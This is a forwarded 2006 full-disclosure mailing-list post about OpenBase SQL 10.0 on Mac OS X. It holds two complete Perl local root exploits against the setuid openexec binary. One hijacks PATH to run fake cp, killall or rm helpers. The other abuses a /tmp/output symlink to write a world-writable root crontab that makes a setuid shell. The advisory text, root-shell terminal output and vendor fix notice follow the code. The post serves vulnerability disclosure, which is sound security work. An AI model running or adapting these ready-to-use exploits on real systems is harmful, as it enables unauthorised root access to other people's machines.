[Fwd: OpenBase SQL multiple vulnerabilities Part Deux]



I think the list spam trap ate this message a few weeks ago.
--- Begin Message ---
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# This is some fairly blatant and retarded use of system()
#
# cd cp chmod chown rm mkdir and killall appear as strings in the binary hrmm can you cay system() !
# -restart -MachLaunch -launch -noexit -install_plugins -kill -install -uninstall and -deactivate all
# *may* be used to trigger these issues.
#
# I don't feel like seeing which flags call which binaries... just 3 is plenty to prove the point.
#
# Tested against OpenBase10.0.0_MacOSX.dmg

$binpath = "/Library/OpenBase/bin/openexec"; # Typical location.

$tgts{"0"} = "cp:$binpath -install";
$tgts{"1"} = "killall:$binpath -kill";
$tgts{"2"} = "rm:$binpath -uninstall";

unless (($target) = @ARGV) {
print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

foreach $key (sort(keys %tgts)) {
($a,$b) = split(/\:/,$tgts{"$key"});
print "\t$key . $a - $b\n";
}

print "\n";
exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a - $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"chown root: /tmp/pwns ; chmod 4775 /tmp/pwns\"); }\n";

open(OP,">/tmp/pwns.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";

system("gcc -o /tmp/finisterre /tmp/finisterre.c");
system("gcc -o /tmp/pwns /tmp/pwns.c");

system("echo /bin/cp /tmp/finisterre /tmp/$a");
system("/bin/cp /tmp/finisterre /tmp/$a");

system("export PATH=/tmp:\$PATH; $b");
system("/tmp/pwns");

#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# Create a new file anywhere on the filesystem with rw-rw-rw privs.
# Sorry you can NOT overwrite existing files.
#
# Writing to roots crontab seems to be fairly prompt at handing out root shells
# Make sure that you get cron running by first creating a user crontab!
#
# The openexec binary creates a root owned log file in /tmp/
# Following symlinks is bad mmmmmmmmmmkay!
#
# Tested against OpenBase10.0.0_MacOSX.dmg

$dest = "/var/cron/tabs/root";

$binpath = "/Library/OpenBase/bin/openexec"; # Typical location.

# In this instance targets are really pointless but I wanted to archive known vulnerable versions while testing.
$tgts{"0"} = "OpenBase10.0.0_MacOSX.dmg:$binpath";

unless (($target) = @ARGV) {
print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

foreach $key (sort(keys %tgts)) {
($a,$b) = split(/\:/,$tgts{"$key"});
print "\t$key . $a\n";
}

print "\n";
exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";
system("gcc -o /Users/Shared/shX /tmp/finisterre.c");

# Create a user crontab FIRST! This ensures that cron is running when the fake root crontab is created. Aka semi-insta-root (in a minute)
system("echo '* * * * * /usr/bin/id > /tmp/aa' > /tmp/user_cron");
system("crontab /tmp/user_cron");

# The umask is where the lovin occurs. I'm rw-rw-rw James bitch!!
system("ln -s $dest /tmp/output");
sleep 60; # Probably don't need to wait this long but whatever...

system("umask 111; $b -deactivate");
print "$dest should be rw-rw-rw ... enjoy!\n";
print "installing trojan crontab for root\n";

system("echo '* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 4755 /Users/Shared/shX' > /var/cron/tabs/root");

print "sit around and chill for a minute then check /Users/Shared/shX !\n";
sleep 60 ;

system("/Users/Shared/shX");


DMA[2006-1107a] - 'OpenBase SQL multiple vulnerabilities Part Deux'
Author: Kevin Finisterre
Vendor(s): http://www.openbase.com
Product: 'OpenBase SQL <=10.0 (?)'
References:
http://www.digitalmunition.com/DMA[2006-1107a].txt

Description:
(regurgitation warning - this may taste VERY familiar)

For over a decade, the OpenBase family of products have been enabling some of the most innovative business applications
at work today. With thousands of customers worldwide, OpenBase has become a brand that companies can rely on. OpenBase
customers include AT&T, Adobe Systems, Canon, Walt Disney, First National Bank of Chicago, MCI, Motorola, Apple, The
Sharper Image and many other innovators worldwide.

As mentioned previously several setuid root binaries from OpenBase SQL are placed in /Library/OpenBase/bin during the
installation of WebObjects support for Xcode or during a standard OpenBase install. In this particular instance we will
be dealing only with the openexec binary.

pwnercycles-ibook:/tmp pwnercycle$ ls -al /Library/OpenBase/bin/openexec
-rwsrwsr-x 1 root admin 189544 Jan 13 2005 /Library/OpenBase/bin/openexec

The openexec binary makes poor use of its setuid privileges when calling various helper binaries such as: cp, rm and killall.
Each of the mentioned binaries winds up being called while openexec is running as root. Using the PATH environment variable
it is possible to influence openbase in a manor that forces it to call the various helper binaries from a location of the
attackers choice. Manipulating openexec via its path is an easy way for an attacker to obtain root.

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_duh.pl

Usage: ./openexec_duh.pl <target>

Targets:

0 . cp - /Library/OpenBase/bin/openexec -install
1 . killall - /Library/OpenBase/bin/openexec -kill
2 . rm - /Library/OpenBase/bin/openexec -uninstall

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_duh.pl 1
*** Target: killall - /Library/OpenBase/bin/openexec -kill
/bin/cp /tmp/finisterre /tmp/killall
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)


The next issue with the openexec binary results in an attacker being able to place a root owned and world writable file anywhere on
the target file system. Again the end result is a local root compromise, in this case a little cron nastiness is required.

When an openexec instance starts a log is written to /tmp/output. Unfortunately when this log file is created openexec takes no
objections to a symlink in place of the filename. A symlink can point to virtually anywhere on the filesystem so an attacker has many
options at his disposal. In most cases being able to create a file alone will not get you root access. The proper umask and a crafty
file location can make all the difference in the world in some instances.

Having the ability to place a root owned file with rw-rw-rw- permissions anywhere on the filesystem is quite powerful. On Linux based
systems writing to /etc/ld.so.preload has proven to be a reliable exploitation path to obtain root. Apple's OSX unfortunately has no
such facility to abuse. After some research the most expediant way I could come up with to obtain root via rw-rw-rw- file creation was
cron abuse.

On a vanilla install of OSX there are no tabs in /var/cron/tabs, nor is cron even running. In order to exploit the cron facilities we
must have the cron daemon running. Fortunately the crontab -e command kicks off /usr/sbin/cron after a valid crontab is saved.

pwnercycles-ibook:/tmp pwnercycle$ ps -ax | grep cron
2340 p4 R+ 0:00.00 grep cron
pwnercycles-ibook:/tmp pwnercycle$ ls /var/cron/tabs/
pwnercycles-ibook:/tmp pwnercycle$ crontab -e
crontab: no crontab for kf - using an empty one
crontab: installing new crontab
pwnercycles-ibook:/tmp pwnercycle$ ps -ax | grep cron
2344 ?? Ss 0:00.01 /usr/sbin/cron
2346 p4 R+ 0:00.00 grep cron
pwnercycles-ibook:/tmp pwnercycle$ ls /var/cron/tabs/
pwnercycle

According to the man page 'cron checks each minute to see if its spool directory's modtime (or the modtime on /etc/crontab) has changed,
and if it has, cron will then examine the modtime on all crontabs and reload those which have changed. Thus cron need not be restarted
whenever a crontab file is modified'.

Wow how perfect is that! 1.) crontab -e to start cron 2.) create /var/cron/tabs/root 3.) wait 1 minute 4.) enjoy root shell.

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_createfile.pl


Usage: ./openexec_createfile.pl <target>

Targets:

0 . OpenBase10.0.0_MacOSX.dmg

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_createfile.pl 0
*** Target: OpenBase10.0.0_MacOSX.dmg /Library/OpenBase/bin/openexec
deactivating OpenBase Service

No matching processes belonging to you were found
No matching processes belonging to you were found
No matching processes belonging to you were found
/var/cron/tabs/root should be rw-rw-rw ... enjoy!
installing trojan crontab for root
sit around and chill for a minute then check /Users/Shared/shX !
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)

Semi-insta root ala Apple's cron.

Workaround:
If you are using Xcode with WebObjects support you *may* be vulnerable to this issue. In a recent WebObjects update apple suggests to
download the latest version of OpenBase directly from the vendor as a workaround to an other Outstanding Issue. Downloading with
lastest vendor patches will effectively curb this issue.

OpenBase has stated that this problem has been fixed in OpenBase 10.0.1 and that all users should download the new version.

Thanks to Apple Staff for help coordinating with OpenBase. Even more thanks to OpenBase for the instant / weekend patch.

--- End Message ---


Relevant Pages

  • Re: Cron job question
    ... > From: root@somedomain.nl (Cron Daemon) ... You've made the classic mistake of confusing the system crontab ... extra column defining which user ID the command should be run as. ... any new cron jobs for any user (including root) and leave the system ...
    (freebsd-questions)
  • [NEWS] Apple Xcode WebObjects / OpenBase SQL Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Apple Xcode WebObjects / OpenBase SQL Multiple Vulnerabilities ... an attacker is easily able to obtain root. ... to obtain root via rw-rw-rw- file creation was cron abuse. ...
    (Securiteam)
  • Re: error email from Cron
    ... >>Well, I've found the problem, but still don't know how to fix it. ... > No, you run cron, not crontab. ... and once as root. ... >>Below is an excerpt from the cron log. ...
    (linux.redhat.misc)
  • [Full-disclosure] OpenBase SQL multiple vulnerabilities Part Deux
    ... the OpenBase family of products have been enabling some of the most innovative business applications ... Each of the mentioned binaries winds up being called while openexec is running as root. ... Again the end result is a local root compromise, in this case a little cron nastiness is required. ... crontab: no crontab for kf - using an empty one ...
    (Full-Disclosure)
  • Crontab Mystery
    ... Cron's main config file, /etc/crontab, is owned by root and the cron ... log says 'root' is running this crontab. ...
    (RedHat)